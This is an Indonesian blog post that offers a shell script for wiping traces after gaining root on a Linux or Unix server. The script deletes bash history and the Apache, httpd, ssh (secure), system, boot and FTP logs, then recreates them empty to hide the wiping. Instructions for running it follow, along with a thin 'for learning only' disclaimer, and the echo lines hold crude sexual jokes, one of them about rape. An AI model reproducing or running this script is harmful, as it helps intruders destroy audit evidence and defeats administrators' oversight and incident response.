Remove Log File on Linux and Unix Family
sebenernya simple saja untuk menghapus jejak² waktu mendaki guNung…dan yang jelas harus dapet hak super user/root…. 
langsung sajoo berikut scriptnya…:
#!/bin/sh
clear
echo "Luna beraksi beresin meja kerja"
echo " "
echo "Misi - misi gaN numpang lewaT"
echo "JangaN jaDi tuKaNg saPu mBoud..!!!"
echo "BiariN gaN jaNgaN siRik aH...apa biBir juRagaN saia saPu pake niH bibiR...!!!"
echo "saia bersiHkan si kaCrut dulu gaN.....!!!"
rm -f ~root/.bash_history --> untuk del history perintah yang sudah pernah dilakukan
rm -f /var/log/apache2/access.* --> untuk delete log apache/http yang sukses
rm -f /var/log/apache2/error.* -->untuk delete log apache/http yang gagal/error
rm -f /var/log/httpd/access.* --> untuk delete log apache/http yang sukses
rm -f /var/log/httpd/error.* -->untuk delete log apache/http yang gagal/error
rm -f /var/log/netconf.log --> untuk delete konfigurasi managemen network
rm -f /var/log/boot.log --> untuk delete log booting system
rm -f /var/log/messages --> untuk delete log semua kegiatan yang pernah dilakukan pada system
rm -f /var/log/secure --> untuk delete log ssh
rm -f /var/log/xferlog --> untuk delete log ftp
rm -f /var/log/proftpd --> untuk delete log ftp
echo "BersiH² sudaH beres gaN...!!!"
echo "Beginilah nasib jadi pembantu.....HufT...Hikz..Hikz.."
echo "BikiN SapiTeNk laGee gaN...!!!"
touch ~root/.bash_history
touch /var/log/apache2/access.log
touch /var/log/apache2/error.log
touch /var/log/httpd/access.log
touch /var/log/httpd/error.log
touch /var/log/netconf.log
touch /var/log/boot.log
touch /var/log/messages
touch /var/log/secure
touch /var/log/xferlog
touch /var/log/proftpd
echo "Selalu disuruh² eh... malah diperkosa lagi...HuaH....GeLi aH gaN...uH laGe dunt...!!"
echo "saiaH kasi piL KB doLo gaN biaR bisa HaLim eh haMiL....emmmm..."
echo " "
chmod 0664 ~root/.bash_history
chmod 0664 /var/log/apache2/access.log
chmod 0664 /var/log/apache2/error.log
chmod 0664 /var/log/httpd/access.log
chmod 0664 /var/log/httpd/error.log
chmod 0664 /var/log/netconf.log
chmod 0664 /var/log/boot.log
chmod 0664 /var/log/messages
chmod 0664 /var/log/secure
chmod 0664 /var/log/xferlog
chmod 0664 /var/log/proftpd
echo " "
echo "Kerjaan siap gaN!! : ... "
echo "gaN... gaN... Minta Seribu gaN... Belum Makan gaN... "
echo " "
keterangan :
echo = menampilkan text
rm = perintah untuk remove
touch = untuk membuat file kosong
chmod = merubah permision file
buat file dengan nama terserah, misal luna.sh dengan perintah
nano luna.sh
atau
vi luna.sh
atau
vim luna.sh
atau
pico luna.sh
kemudian isi file tersebut dengan script diatas dan save…
setelah itu beri permision agar file sersebut bisa di esekusi, dengan perintah :
chmod +x luna.sh
setelah itu esekusi file dengan perintah :
./luna.sh
hanya sekedar info dan pembelajaran saja, tidak untuk disalah pergunakan…dan sekalipun disalah pergunakan saya tidak ikut bertanggung jawab….!!! 
salam hangat…
banksonk